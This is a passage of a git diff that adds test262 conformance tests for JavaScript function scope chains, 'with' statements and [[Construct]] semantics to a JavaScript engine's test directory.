diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A17_T3.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A17_T3.js
new file mode 100644
index 000000000..8d8eba5bd
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A17_T3.js
@@ -0,0 +1,68 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * FunctionExpression containing "with" statement is admitted
+ *
+ * @path ch13/13.2/S13.2.2_A17_T3.js
+ * @description In the check 4 we populate field getRight in __obj object since var getRight declaration adds variable to function scope
+ * but getRight in statement resolves within with(__obj) scope and searchs getRight in __obj first
+ */
+
+p1="alert";
+
+this.__obj={p1:1,getRight:function(){return "right";}};
+
+var getRight=function(){return "napravo";};
+
+resukt=(function(){
+ with(__obj){
+ p1="w1";
+ var getRight=function(){return false;};
+ return p1;
+ }
+})();
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (p1!=="alert") {
+ $ERROR('#1: p1 === "alert". Actual: p1==='+p1);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (getRight()!=="napravo") {
+ $ERROR('#2: getRight() === "napravo". Actual: getRight()==='+getRight());
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (__obj.p1!=="w1") {
+ $ERROR('#3: __obj.p1 === "w1". Actual: __obj.p1 ==='+__obj.p1);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if (__obj.getRight()!==false) {
+ $ERROR('#4: __obj.getRight() === false. Actual: __obj.getRight()==='+__obj.getRight());
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#5
+if (resukt !== "w1") {
+ $ERROR('#5: resukt === "w1". Actual: resukt ==='+resukt);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+var resukt;
+
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A18_T1.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A18_T1.js
new file mode 100644
index 000000000..327f816dd
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A18_T1.js
@@ -0,0 +1,54 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Using arguments object within a "with" Expression that is nested in a function is admitted
+ *
+ * @path ch13/13.2/S13.2.2_A18_T1.js
+ * @description Object is declared with "var __obj={callee:"a"}"
+ */
+
+var callee=0, b;
+
+var __obj={callee:"a"};
+
+result=(function(){
+ with (arguments){
+ callee=1;
+ b=true;
+ }
+ return arguments;
+})(__obj);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (callee !== 0) {
+ $ERROR('#1: callee === 0. Actual: callee ==='+callee);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__obj.callee !== "a") {
+ $ERROR('#2: __obj.callee === "a". Actual: __obj.callee==='+__obj.callee);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (result.callee !== 1) {
+ $ERROR('#3: result.callee === 1. Actual: result.callee ==='+result.callee);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if (!(this.b)) {
+ $ERROR('#4: this.b === true. Actual: this.b ==='+this.b);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A18_T2.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A18_T2.js
new file mode 100644
index 000000000..d586ca5f9
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A18_T2.js
@@ -0,0 +1,57 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Using arguments object within a "with" Expression that is nested in a function is admitted
+ *
+ * @path ch13/13.2/S13.2.2_A18_T2.js
+ * @description Object is declared with "__obj={callee:"a"}"
+ */
+
+this.callee = 0;
+var b;
+
+__obj={callee:"a"};
+
+function f(){
+ with (arguments){
+ callee=1;
+ b=true;
+ return arguments;
+ }
+};
+
+result=f(__obj);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (callee !== 0) {
+ $ERROR('#1: callee === 0. Actual: callee ==='+callee);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__obj.callee !== "a") {
+ $ERROR('#2: __obj.callee === "a". Actual: __obj.callee ==='+__obj.callee);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (result.callee !== 1) {
+ $ERROR('#3: result.callee === 1. Actual: result.callee ==='+result.callee);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if (!(this.b)) {
+ $ERROR('#4: this.b === true. Actual: this.b ==='+this.b);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A19_T1.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A19_T1.js
new file mode 100644
index 000000000..5fdcaee5a
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A19_T1.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Function's scope chain is started when it is declared
+ *
+ * @path ch13/13.2/S13.2.2_A19_T1.js
+ * @description Function is declared in the global scope
+ */
+
+var a = 1;
+
+var __func= function(){return a;};
+
+var __obj = {a:2};
+
+with (__obj)
+{
+ result = __func();
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (result !== 1) {
+ $ERROR('#1: result === 1. Actual: result ==='+result);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A19_T2.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A19_T2.js
new file mode 100644
index 000000000..b36f457b8
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A19_T2.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Function's scope chain is started when it is declared
+ *
+ * @path ch13/13.2/S13.2.2_A19_T2.js
+ * @description Function is declared in the object scope. Using "with" statement
+ */
+
+var a = 1;
+
+var __obj = {a:2};
+
+with (__obj)
+{
+ result = (function(){return a;})();
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (result !== 2) {
+ $ERROR('#1: result === 2. Actual: result ==='+result);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A19_T3.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A19_T3.js
new file mode 100644
index 000000000..3f6e11266
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A19_T3.js
@@ -0,0 +1,37 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Function's scope chain is started when it is declared
+ *
+ * @path ch13/13.2/S13.2.2_A19_T3.js
+ * @description Function is declared in the object scope and then an exception is thrown
+ */
+
+var a = 1;
+
+var __obj = {a:2};
+
+try {
+ with (__obj)
+ {
+ var __func = function (){return a;};
+ throw 3;
+ }
+} catch (e) {
+ ;
+}
+
+result = __func();
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (result !== 2) {
+ $ERROR('#1: result === 2. Actual: result ==='+result);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A19_T4.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A19_T4.js
new file mode 100644
index 000000000..65f6e765a
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A19_T4.js
@@ -0,0 +1,39 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Function's scope chain is started when it is declared
+ *
+ * @path ch13/13.2/S13.2.2_A19_T4.js
+ * @description Function is declared in the hierarchical object scope and then an exception is thrown
+ */
+
+var a = 1;
+
+var __obj = {a:2,__obj:{a:3}};
+
+try {
+ with (__obj)
+ {
+ with(__obj){
+ var __func = function(){return a;};
+ throw 5;
+ }
+ }
+} catch (e) {
+ ;
+}
+
+result = __func();
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (result !== 3) {
+ $ERROR('#1: result === 3. Actual: result ==='+result);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A19_T5.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A19_T5.js
new file mode 100644
index 000000000..f0614e175
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A19_T5.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Function's scope chain is started when it is declared
+ *
+ * @path ch13/13.2/S13.2.2_A19_T5.js
+ * @description Function is declared in the object scope, then an exception is thrown and the object is deleted
+ */
+
+var a = 1;
+
+var __obj = {a:2};
+
+with (__obj)
+{
+ try {
+
+ var __func = function()
+ {
+ return a;
+ }
+ throw 3;
+ } catch (e) {
+ ;
+ }
+}
+
+delete __obj;
+
+result = __func();
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (result !== 2) {
+ $ERROR('#1: result === 2. Actual: result ==='+result);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A19_T6.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A19_T6.js
new file mode 100644
index 000000000..b9fafb1f5
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A19_T6.js
@@ -0,0 +1,46 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Function's scope chain is started when it is declared
+ *
+ * @path ch13/13.2/S13.2.2_A19_T6.js
+ * @description Function is declared in the "object->do-while" scope, then the object is deleted and another object with the same name is declared
+ */
+
+var a = 1;
+
+var __obj = {a:2};
+
+with (__obj)
+{
+ do {
+ var __func = function()
+ {
+ return a;
+ }
+ } while(0);
+}
+
+delete __obj;
+
+var __obj = {a:3};
+
+with (__obj)
+{
+ result = __func();
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (result !== 2) {
+ $ERROR('#1: result === 2. Actual: result ==='+result);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
+
+
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A19_T7.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A19_T7.js
new file mode 100644
index 000000000..c83232d66
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A19_T7.js
@@ -0,0 +1,54 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Function's scope chain is started when it is declared
+ *
+ * @path ch13/13.2/S13.2.2_A19_T7.js
+ * @description Function is declared in the object scope as a variable
+ */
+
+var a = 1;
+
+var __obj = {a:2};
+
+with (__obj)
+{
+ var __func = function()
+ {
+ return a;
+ }
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__obj.hasOwnProperty('__func')) {
+ $ERROR('#1: __obj.hasOwnProperty(\'__func\') === false');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+///////////////////////////////////// /////////////////////////////////////////
+//CHECK#2
+if (!(this.hasOwnProperty('__func'))) {
+ $ERROR('#2: this.hasOwnProperty(\'__func\') === true');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (__func in __obj) {
+ $ERROR('#3: (__func in __obj) === false');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if (this.__func === undefined) {
+ $ERROR('#4: this.__func !== undefined');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A19_T8.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A19_T8.js
new file mode 100644
index 000000000..7db4affd8
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A19_T8.js
@@ -0,0 +1,74 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Function's scope chain is started when it is declared
+ *
+ * @path ch13/13.2/S13.2.2_A19_T8.js
+ * @description Function is declared multiply times
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#0
+if (typeof __func !== "undefined") {
+ $ERROR('#0: typeof __func === "undefined". Actual: typeof __func ==='+typeof __func);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+var a = 1, b = "a";
+
+var __obj = {a:2};
+
+with (__obj)
+{
+ while(1){
+ var __func = function()
+ {
+ return a;
+ };
+ break;
+ }
+}
+
+delete __obj;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__func() !== 2) {
+ $ERROR('#1: __func() === 2. Actual: __func() ==='+__func());
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+var __obj = {a:3,b:"b"};
+
+with (__obj)
+{
+ var __func = function()
+ {
+ return b;
+ }
+}
+
+delete __obj;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__func()!=="b") {
+ $ERROR('#2: __func()==="b". Actual: __func()==='+__func());
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+with ({a:99,b:"c"})
+{
+ //////////////////////////////////////////////////////////////////////////////
+ //CHECK#3
+ if (__func() !== "b") {
+ $ERROR('#3: __func()==="b". Actual: __func()==='+__func());
+ }
+ //
+ //////////////////////////////////////////////////////////////////////////////
+}
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A1_T1.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A1_T1.js
new file mode 100644
index 000000000..cb9a2dbd6
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A1_T1.js
@@ -0,0 +1,44 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Since a function is an object, it might be set to [[Prototype]] property of a new created object through [[Construct]] property
+ *
+ * @path ch13/13.2/S13.2.2_A1_T1.js
+ * @description Declaring a function with "function __func()"
+ */
+
+var __MONSTER="monster";
+var __PREDATOR="predator";
+
+function __PROTO(){};
+
+try{
+ __PROTO.type=__MONSTER;
+}
+catch(e){
+ $ERROR('#0: __PROTO.type=__MONSTER does not lead to throwing exception')
+}
+
+function __FACTORY(){this.name=__PREDATOR};
+
+__FACTORY.prototype=__PROTO;
+
+var __monster = new __FACTORY();
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (!(__PROTO.isPrototypeOf(__monster))) {
+ $ERROR('#1: __PROTO.isPrototypeOf(__monster) must be true');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__monster.type !==__MONSTER) {
+ $ERROR('#2: __monster.type ===__MONSTER. Actual: __monster.type ==='+__monster.type);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A1_T2.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A1_T2.js
new file mode 100644
index 000000000..dd907d790
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A1_T2.js
@@ -0,0 +1,44 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Since a function is an object, it might be set to [[Prototype]] property of a new created object through [[Construct]] property
+ *
+ * @path ch13/13.2/S13.2.2_A1_T2.js
+ * @description Declaring a function with "var __PROTO = function()"
+ */
+
+var __MONSTER="monster";
+var __PREDATOR="predator";
+
+var __PROTO = function(){};
+
+try{
+ __PROTO.type=__MONSTER;
+}
+catch(e){
+ $FAIL('#0: __PROTO.type=__MONSTER does not lead to throwing exception')
+}
+
+var __FACTORY = function(){this.name=__PREDATOR};
+
+__FACTORY.prototype=__PROTO;
+
+var __monster = new __FACTORY();
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (!(__PROTO.isPrototypeOf(__monster))) {
+ $ERROR('#1: __PROTO.isPrototypeOf(__monster) must be true');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__monster.type !==__MONSTER) {
+ $ERROR('#2: __monster.type ===__MONSTER. Actual: __monster.type ==='+__monster.type);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A2.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A2.js
new file mode 100644
index 000000000..3389a36d1
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A2.js
@@ -0,0 +1,42 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Since a function is an object, it might be set to [[Prototype]] property of a new created object through [[Construct]] property,
+ * but [[call]] property must fail with TypeError error
+ *
+ * @path ch13/13.2/S13.2.2_A2.js
+ * @description Trying to [[call]] this function
+ */
+
+var __PLANT="flower";
+var __ROSE="rose";
+
+function __PROTO(){};
+
+try{
+ __PROTO.type=__PLANT;
+}
+catch(e){
+ $ERROR('#0: __PROTO.type=__PLANT does not lead to throwing exception')
+}
+
+function __FACTORY(){this.name=__ROSE};
+
+__FACTORY.prototype=__PROTO;
+
+var __rose = new __FACTORY();
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try{
+ __rose();
+ $ERROR('#1: __rose() lead to throwing exception');
+} catch(e){
+ if (!(e instanceof TypeError)) {
+ $ERROR('#2: Exception Type is TypeError. Actual: exception ==='+e);
+ }
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A3_T1.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A3_T1.js
new file mode 100644
index 000000000..a04721c81
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A3_T1.js
@@ -0,0 +1,35 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Construct]] property for a Function object F is called:
+ * A new native ECMAScript object is created.
+ * It gets the value of the [[Prototype]] property of the F(Denote it PROTO_VAL).
+ * If PROTO_VAL is not an object, sets the [[Prototype]] property of native ECMAScript object just created
+ * to the original Object prototype object as described in 15.2.3.1
+ *
+ * @path ch13/13.2/S13.2.2_A3_T1.js
+ * @description Declaring a function with "function __FACTORY()"
+ */
+
+function __FACTORY(){};
+__FACTORY.prototype=1;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (typeof __FACTORY.prototype !== 'number') {
+ $ERROR('#1: typeof __FACTORY.prototype === \'number\'. Actual: typeof __FACTORY.prototype ==='+(typeof __FACTORY.prototype));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+var __device = new __FACTORY();
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (!(Object.prototype.isPrototypeOf(__device))) {
+ $ERROR('#2: Object.prototype.isPrototypeOf(__device) === true');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A3_T2.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A3_T2.js
new file mode 100644
index 000000000..613adbb9c
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A3_T2.js
@@ -0,0 +1,35 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Construct]] property for a Function object F is called:
+ * A new native ECMAScript object is created.
+ * It gets the value of the [[Prototype]] property of the F(Denote it PROTO_VAL).
+ * If PROTO_VAL is not an object, sets the [[Prototype]] property of native ECMAScript object just created
+ * to the original Object prototype object as described in 15.2.3.1
+ *
+ * @path ch13/13.2/S13.2.2_A3_T2.js
+ * @description Declaring a function with "var __FACTORY = function()"
+ */
+
+var __FACTORY = function(){};
+__FACTORY.prototype=1;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (typeof __FACTORY.prototype !== 'number') {
+ $ERROR('#1: typeof __FACTORY.prototype === \'number\'. Actual: typeof __FACTORY.prototype ==='+(typeof __FACTORY.prototype));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+var __device = new __FACTORY();
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (!(Object.prototype.isPrototypeOf(__device))) {
+ $ERROR('#2: Object.prototype.isPrototypeOf(__device) === true');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A4_T1.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A4_T1.js
new file mode 100644
index 000000000..5804b6c29
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A4_T1.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Construct]] property for a Function object F is called:
+ * A new native ECMAScript object is created.
+ * Gets the value of the [[Prototype]] property of the F(Denote it PROTO_VAL).
+ * If PROTO_VAL is an object, sets the [[Prototype]] property of native ECMAScript object just created
+ * to the PROTO_VAL
+ *
+ * @path ch13/13.2/S13.2.2_A4_T1.js
+ * @description Declaring a function with "function __FACTORY()"
+ */
+
+var __CUBE="cube";
+
+function __FACTORY(){
+};
+__FACTORY.prototype={ shape:__CUBE, printShape:function(){return this.shape;} };
+
+var __device = new __FACTORY();
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__device.printShape === undefined) {
+ $ERROR('#1: __device.printShape !== undefined. Actual: __device.printShape ==='+__device.printShape);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__device.printShape() !== __CUBE) {
+ $ERROR('#2: __device.printShape() === __CUBE. Actual: __device.printShape() ==='+__device.printShape());
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A4_T2.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A4_T2.js
new file mode 100644
index 000000000..3560e058b
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A4_T2.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Construct]] property for a Function object F is called:
+ * A new native ECMAScript object is created.
+ * Gets the value of the [[Prototype]] property of the F(Denote it PROTO_VAL).
+ * If PROTO_VAL is an object, sets the [[Prototype]] property of native ECMAScript object just created
+ * to the PROTO_VAL
+ *
+ * @path ch13/13.2/S13.2.2_A4_T2.js
+ * @description Declaring a function with "__FACTORY = function()"
+ */
+
+__CUBE="cube";
+
+__FACTORY = function(){};
+
+__FACTORY.prototype={ shape:__CUBE, printShape:function(){return this.shape;} };
+
+__device = new __FACTORY();
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__device.printShape === undefined) {
+ $ERROR('#1: __device.printShape !== undefined. Actual: __device.printShape ==='+__device.printShape);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__device.printShape() !== __CUBE) {
+ $ERROR('#2: __device.printShape() === __CUBE. Actual: __device.printShape() ==='+__device.printShape());
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A5_T1.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A5_T1.js
new file mode 100644
index 000000000..03c552318
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A5_T1.js
@@ -0,0 +1,80 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Construct]] property for a Function object F is called:
+ * A new native ECMAScript object is created.
+ * Invoke the [[Call]] property of F, providing native ECMAScript object just created as the this value and
+ * providing the argument list passed into [[Construct]] as the argument values
+ *
+ * @path ch13/13.2/S13.2.2_A5_T1.js
+ * @description Declaring a function with "function __FACTORY(arg1, arg2)"
+ */
+
+__VOLUME=8;
+__RED="red";
+__ID=12342;
+__TOP=1.1;
+__BOTTOM=0.0;
+__LEFT=0.0;
+
+
+function __FACTORY(arg1, arg2){
+ this.volume=__VOLUME;
+ color=__RED;
+ this.id=arg1;
+ top=arg2;
+ this.bottom=arguments[3];
+ left=arguments[4];
+};
+
+__device = new __FACTORY(__ID, __TOP, __BOTTOM, __LEFT);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__device.color !== undefined) {
+ $ERROR('#1: __device.color === undefined. Actual: __device.color ==='+__device.color);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__device.volume !== __VOLUME) {
+ $ERROR('#2: __device.volume === __VOLUME. Actual: __device.volume ==='+__device.volume);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (__device.top !== undefined) {
+ $ERROR('#3: __device.top === undefined. Actual: __device.top ==='+__device.top);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if (__device.id !== __ID) {
+ $ERROR('#4: __device.id === __ID. Actual: __device.id ==='+__device.id);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#5
+if (__device.left !== undefined) {
+ $ERROR('#5: __device.left === undefined. Actual: __device.left ==='+__device.left);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#6
+if (__device.bottom !== __BOTTOM) {
+ $ERROR('#6: __device.bottom === __BOTTOM. Actual: __device.bottom ==='+__device.bottom);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A5_T2.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A5_T2.js
new file mode 100644
index 000000000..d3cd773ab
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A5_T2.js
@@ -0,0 +1,80 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Construct]] property for a Function object F is called:
+ * A new native ECMAScript object is created.
+ * Invoke the [[Call]] property of F, providing native ECMAScript object just created as the this value and
+ * providing the argument list passed into [[Construct]] as the argument values
+ *
+ * @path ch13/13.2/S13.2.2_A5_T2.js
+ * @description Declaring a function with "__FACTORY = function(arg1, arg2)"
+ */
+
+__VOLUME=8;
+__RED="red";
+__ID=12342;
+__TOP=1.1;
+__BOTTOM=0.0;
+__LEFT=0.0;
+
+
+__FACTORY = function(arg1, arg2){
+ this.volume=__VOLUME;
+ color=__RED;
+ this.id=arg1;
+ top=arg2;
+ this.bottom=arguments[3];
+ left=arguments[4];
+};
+
+__device = new __FACTORY(__ID, __TOP, __BOTTOM, __LEFT);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__device.color !== undefined) {
+ $ERROR('#1: __device.color === undefined. Actual: __device.color ==='+__device.color);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__device.volume !== __VOLUME) {
+ $ERROR('#2: __device.volume === __VOLUME. Actual: __device.volume ==='+__device.volume);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (__device.top !== undefined) {
+ $ERROR('#3: __device.top === undefined. Actual: __device.top ==='+__device.top);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if (__device.id !== __ID) {
+ $ERROR('#4: __device.id === __ID. Actual: __device.id ==='+__device.id);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#5
+if (__device.left !== undefined) {
+ $ERROR('#5: __device.left === undefined. Actual: __device.left ==='+__device.left);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#6
+if (__device.bottom !== __BOTTOM) {
